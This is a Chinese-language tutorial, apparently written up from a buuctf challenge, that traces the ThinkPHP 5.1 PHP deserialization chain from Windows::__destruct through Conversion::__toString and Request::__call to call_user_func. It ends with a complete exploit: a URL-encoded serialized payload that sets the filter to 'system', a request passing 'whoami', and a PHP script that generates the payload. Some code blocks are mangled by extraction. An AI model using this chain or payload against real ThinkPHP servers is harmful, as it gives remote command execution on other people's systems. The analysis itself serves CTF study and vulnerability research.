ThinkPhp框架反序列化漏洞
Thinkphp5.1反序列化链的调用
反序列化的常见的知识
反序列化的常见起点
__wakeup 一定会调用
__destruct 一定会调用
__toString 当一个对象被反序列化后又被当做字符串使用
反序列化的常见中间跳板:
__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
形如 $this->$func();
反序列化的常见终点:
__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里
现在又多了phar反序列化的利用方式,能够反序列化其metadata部分,利用的范围增加了许多!
还是得好好向大佬学习,直接渗透到框架中来了,网上的关于thinkphp反序列化的都看了一遍,建议已经有了php编程基础的和php反序列化基础的深究,脚本小子只需要拿着poc去打就可以了(bushi,我也想从脚本小子慢慢到深究原理,慢慢来吧
源码是在buuctf中的下载的,自己分析thinkphp的代码,然后找到可以反序列化的地方,执行代码
有能力的可以用docker自己搭一个环境然后运行这个代码,傻瓜式打法就是phpstudy搭一个环境,直接把源码放到www下运行就可以了
话不多说,开始分析
Thinkphp反序列化的分析
这一部分,看不看得懂其实无所谓,第一次看我也看不懂,只会跟着大佬调试,不知道他们这一步是为了什么,现在稍稍了解了一些,第一遍看的话千万不要深究,把后面的吃透来再回来看这个可能会更好一些
按照惯例,找利用的入口,一般用__destruct()

打开源码文件,全局搜索__destruct(),发现有很多文件,

这里我们用到windows.php中的魔术方法,这里作为起点

可以看到,__destruct()函数调用removeFiles函数,按住ctrl跟进removeFiles函数,直接跳转过去,看看有哪些文件调用了这个函数

一个简单的for循环,遍历this->files数组,检查数组中的每一个元素是不是文件,那么就要求我们构造的poc中,windows类里,有files变量,并且是一个数组
细心一点,你就会发现进行不下去了,但是,file_exists函数,是一个nb的函数,当传入的参数值是一个对象的时候,files_exists会调用__tostring方法,把这个对象转换成为一个字符串,然后再进行判断,这里又能确定一些东西:
1.构造的poc中files白能量要是一个数组,数组的元素要是对象
2.找到__tostring函数,进入下一站,全局搜索
找到tostring方法在很多文件中,我们这里选择Conversion.php中,

也就是说,我们现在是从windows类中跳到了Conversion类中,那么在poc构造的时候,就要想办法让这两者,通过继承或者是包含,产生一定的关系,要产生关系,这里用到了一个抽象的类


pivot类继承了model类
这里,我们可以将files对象数组,写成pivot对象,这样,pivot是继承model类,不就找到了model类,进而找到了conversion类,从而调用__tostring()函数
继续
在Conversion类中,继续跟进
tojson函数调用toarray方法

继续跟进
到了难的地方,一个一个的跟踪

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| //只有当append变量不为空,才能往下,poc中append变量不能为空 if (!empty($this->append)) { //开始遍历,并且是键值对,所以我们构造的append变量还得是一个键值对 foreach ($this->append as $key => $name) { //判断name是不是数组,我们构造的append的值,要是一个数组 if (is_array($name)) { //到了这里,我们要想办法让代码往下走 // 追加关联对象属性 $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible($name); } }
|
上面的代码块,到了this->getRelation(key),无法进行,我们现在需要跳转到另一个类中

这个函数,有三个分支,要让上面的代码往下走,所以if(!$relation)要为真所以relation就要为null,那么就是进入到第三个return
1 2 3 4 5 6 7 8 9 10 11 12
| //这里传过来的$name实际上是键值,要想最后返回为空,前面两个if都不能成立 public function getRelation($name = null){ //第一个if,传过来的参数不能为空,也就要求,构造的POC,键不能为空 if (is_null($name)) { return $this->relation; //第二个if,要求,传过来的键,不能在$this->relation数组中,但是我往上翻,这个类定义的relation变量默认值为空 //所以我们构造的时候,不传系统默认的,应该就没问题 } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } return; }
|
那么继续
1 2 3 4
| //如果getRelation($key)为空,那么$relation为空,那么,就可以往下进行 if (!$relation) { //这里继续把键值传给getAttr($key)函数,我们进入getAttr($key)函数 $relation = $this->getAttr($key);
|

在attribute类中找到了getattr函数,可以看到,getattr函数最后一行,就是要返回value的值,继续跟进getData函数

我们来看详细代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public function getData($name = null){ //传过来的键值不为空,所以跳过这个if,进入下一个if if (is_null($name)) { return $this->data; //最后POC反序列化后,是进入到这里了,因为这里面我们可以在POC构造一个data变量(键值对),最后根据传过来的键,返回data中对应的值 //那么,第三个if中,relation为什么不能构造了? //因为上面说到getRelation()函数要返回空,所以array_key_exists($name, $this->relation)必须为false //综上所述,我们这里,在POC中,还需要构造一个data变量,并且也是个键值对的形式,并且键就是传过来的 } elseif (array_key_exists($name, $this->data)) { return $this->data[$name]; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); }
|
所以,结论如下
1 2 3
| $relation = $this->getAttr($key) = $this->getData($name) = $this->data[$name] 这里的$name,实际在传参时传的是$key,所以在Conversion类中 $relation = this->data[$key]
|
再次回到conversion类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { // 追加关联对象属性 $relation = $this->getRelation($key); if (!$relation) { $relation = $this->getAttr($key); //$relation = $this->data[$key] if ($relation) { //$relation现在的值为data[$key],所以我们在构造POC时,data中不要又visible,为什么呢 //在php中,如果调用不存在的方法时,会自动调用__call()函数,前提是这个对象实现了或者继承了__call() //在本例中,如果visible()函数不存在,会把visible和name作为参数传给__call() //那么关键问题 //是_call()在哪?这里就要引入Request类了,因为,大佬们,通过全局搜索,搜索到了Request类里面有__call() //怎么和_call()扯上关系?如果$relation = $this->data[$key] = Request的对象呢? $relation->visible($name); } }
|
进入request类
代码分析,可以看到这个类中,不仅有call方法,还有call_user_func_array(),这个函数一般就是rce的最后一站
在这里面搜索call_user_func()函数,如下图,所以我们要向RCE,就要控制1466行的call_user_func($filter, $value),那么就要控制filter和value,但是value始终都会被上面的那个该死的array_unshift()改变,所以我们需要找到调用filterValue()的地方

还是在request类中找到了input方法,但是这个方法中的data还是形参,不可控,再找找调用input的方法

还在Request类中,找到了param()方法,但是这个 param()方法中的name还是形参,还是不可控,再找调用param方法的地方

还在Request类中,找到了isAjax()方法,这里在调用param()方法时,不再是用形参了,我们可以构造了
所以hook变量那里面,中转,要中转到isAjax()方法,并且我们要构造一个config变量

找到了链的起始位置为isajax,而执行代码的位置为input()函数中的filtervalue函数,把代码汇总
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| //在input()函数中 //通过getData()函数获取用户的get以及post组成的数组,值为data //这个data会被当做filterValue()函数的第一个参数,并执行函数 protected function getData(array $data, $name) { foreach (explode('.', $name) as $val) { if (isset($data[$val])) { $data = $data[$val]; } else { return; } }
return $data; }
//这里是对filter对象的的值进行一个赋值,从$filter = $filter ?: $this->filter //并且把赋值后的fileter传给filterValue()函数的第三个参数,并执行函数 //所以我们需要构造一个fileter protected function getFilter($filter, $default) { if (is_null($filter)) { $filter = []; } else { $filter = $filter ?: $this->filter; if (is_string($filter) && false === strpos($filter, '/')) { $filter = explode(',', $filter); } else { $filter = (array) $filter; } }
$filter[] = $default;
return $filter; }
$this->filterValue($data, $name, $filter);
//input()函数之外
//这里call_user_func($filter, $value) //call_user_func()的两个参数都来自filterValue()接收的参数 //也就是说用户GET或POST传过来的参数,是call_user_func()的第二个也就是RCE的参数 //POC构造的filter,是call_user_func()的第一个也就是最终执行的危险函数 private function filterValue(&$value, $key, $filters) { $default = array_pop($filters);
foreach ($filters as $filter) { if (is_callable($filter)) { // 调用函数或者方法过滤 $value = call_user_func($filter, $value); } elseif (is_scalar($value)) { if (false !== strpos($filter, '/')) { // 正则过滤 if (!preg_match($filter, $value)) { // 匹配不成功返回默认值 $value = $default; break; } } elseif (!empty($filter)) { // filter函数不存在时, 则使用filter_var进行过滤 // filter为非整形值时, 调用filter_id取得过滤id $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter)); if (false === $value) { $value = $default; break; } } } }
return $value; }
|
其实很多人是蒙的,我第一次看到这也是蒙的,因为这个链本身就很复杂,很多个转点,这里偷一张别人的图好理解

漏洞复现,直接用buuctf在线环境打
1
| http://IP/public/?s=index/index/helloðan=whoami
|
1 2
| //post传参 str=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22calc.exe%22%3Bi%3A1%3Bs%3A4%3A%22calc%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3BO%3A13%3A%22think%5CRequest%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A9%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A1%3A%7Bs%3A8%3A%22var_ajax%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D
|

poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| <?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["ethan"=>["calc.exe","calc"]]; $this->data = ["ethan"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; protected $config = [ // 表单请求类型伪装变量 'var_method' => '_method', // 表单ajax伪装变量 'var_ajax' => '_ajax', // 表单pjax伪装变量 'var_pjax' => '_pjax', // PATHINFO变量名 用于兼容模式 'var_pathinfo' => 's', // 兼容PATH_INFO获取 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'], // 默认全局过滤方法 用逗号分隔多个 'default_filter' => '', // 域名根,如thinkphp.cn 'url_domain_root' => '', // HTTPS代理标识 'https_agent_name' => '', // IP代理获取标识 'http_agent_ip' => 'HTTP_X_REAL_IP', // URL伪静态后缀 'url_html_suffix' => 'html', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'']; $this->hook = ["visible"=>[$this,"isAjax"]]; } } namespace think\process\pipes;
use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = [];
public function __construct() { $this->files=[new Pivot()]; } } namespace think\model;
use think\Model;
class Pivot extends Model { } use think\process\pipes\Windows; echo urlencode(serialize(new Windows())); ?>
|
头脑风暴!